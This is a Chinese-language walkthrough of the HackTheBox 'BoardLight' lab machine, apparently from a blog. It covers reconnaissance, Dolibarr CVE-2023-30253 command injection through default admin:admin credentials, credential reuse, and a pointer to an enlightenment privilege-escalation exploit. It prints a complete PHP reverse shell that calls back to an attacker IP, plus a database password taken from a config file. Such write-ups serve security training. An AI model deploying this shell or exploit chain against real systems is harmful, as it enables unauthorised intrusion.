HackTheBox--BoardLight

BoardLight 测试过程

1 信息收集

NMAP端口扫描

端口扫描开放 22、80 端口在这里插入图片描述

80端口测试

# 添加 boardLight.htb 到hosts文件
echo "10.10.11.11 boardLight.htb" | sudo tee -a /etc/hosts

在这里插入图片描述

检查网页源代码,发现 board.htb

在这里插入图片描述

# 添加 board.htb 到 hosts 文件
echo "10.10.11.11 board.htb" | sudo tee -a /etc/hosts

board.htb 和 boardlight.htb 站点 80 端口没有区别,没有其他可利用信息
在这里插入图片描述

子域名&目录扫描

目录扫描未发现利用点

python3 dirsearch.py -u http://boardlight.htb/
python3 dirsearch.py -u http://board.htb/

子域名扫描

./wfuzz -c -w subdomains-top1million-110000.txt -u http://board.htb/ -H "HOST:FUZZ.board.htb" --hl 517
./wfuzz -c -w subdomains-top1million-110000.txt -u http://boardlight.htb/ -H "HOST:FUZZ.boardlight.htb" --hl 517

识别到子域 crm.board.htb站点使用 Dolibarr 组件,并且版本为 17.0.0

在这里插入图片描述

搜索 Dolibarr 17.0.0 ,Dolibarr <= 17.0.0存在一个PHP 命令注入漏洞 (CVE-2023-30253)


2 CVE-2023-30253利用

17.0.1 之前的版本 Dolibarr 允许经过身份验证的用户通过大写操作执行远程代码:在注入的数据中使用 <?PHP 即可。

1.使用默认账号密码登录 admin:admin
在这里插入图片描述

2.添加 website 并配置 pages
在这里插入图片描述

在这里插入图片描述

3.编辑 HTML 源并在其中添加 PHP 代码测试,<?PHP echo system("id")>,执行成功
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

反弹shell

<?PHP
// 反弹shell命令
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.171';
$port = 4444;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; bash -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}
	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}
?>

在这里插入图片描述

在这里插入图片描述


3 横向移动

目前登录用户 www-data,检查当前权限下文件,发现 conf.php 文件

cd /var/www/html/crm.board.htb/htdocs/conf
cat conf.php

在这里插入图片描述

但是 dolibarrowner :serverfun2$2023!! ssh 无法登录,查看系统其他用户,/home 下发现用户 larissa

在这里插入图片描述

用户 larissa 用户登录成功
在这里插入图片描述

在这里插入图片描述


4 权限提升

上传 linpeas.sh 文件
在这里插入图片描述

chmod +x linpeas.sh
./linpeas.sh

系统使用 enlightenment 0.23.1,存在 CVE-2022-37706 漏洞
在这里插入图片描述

点击查看 CVE-2022-37706 exp地址

在这里插入图片描述

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-09 20:06:01       99 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-09 20:06:01       107 阅读
  3. 在Django里面运行非项目文件

    2024-07-09 20:06:01       90 阅读
  4. Python语言-面向对象

    2024-07-09 20:06:01       98 阅读

热门阅读

  1. npm证书过期问题

    2024-07-09 20:06:01       27 阅读
  2. GitHub使用教程(小白版)

    2024-07-09 20:06:01       18 阅读
  3. WebXR:Web上的虚拟与增强现实技术

    2024-07-09 20:06:01       37 阅读
  4. 如何在MATLAB中导入表格数据并进行运算?

    2024-07-09 20:06:01       29 阅读
  5. 根据H在有限域GF(2^m)上求解生成矩阵G

    2024-07-09 20:06:01       32 阅读
  6. Perl 语言入门学习

    2024-07-09 20:06:01       26 阅读
  7. 软件工程常见知识点

    2024-07-09 20:06:01       34 阅读
  8. AI与学术的交响:ChatGPT辅助下的实验设计新篇章

    2024-07-09 20:06:01       31 阅读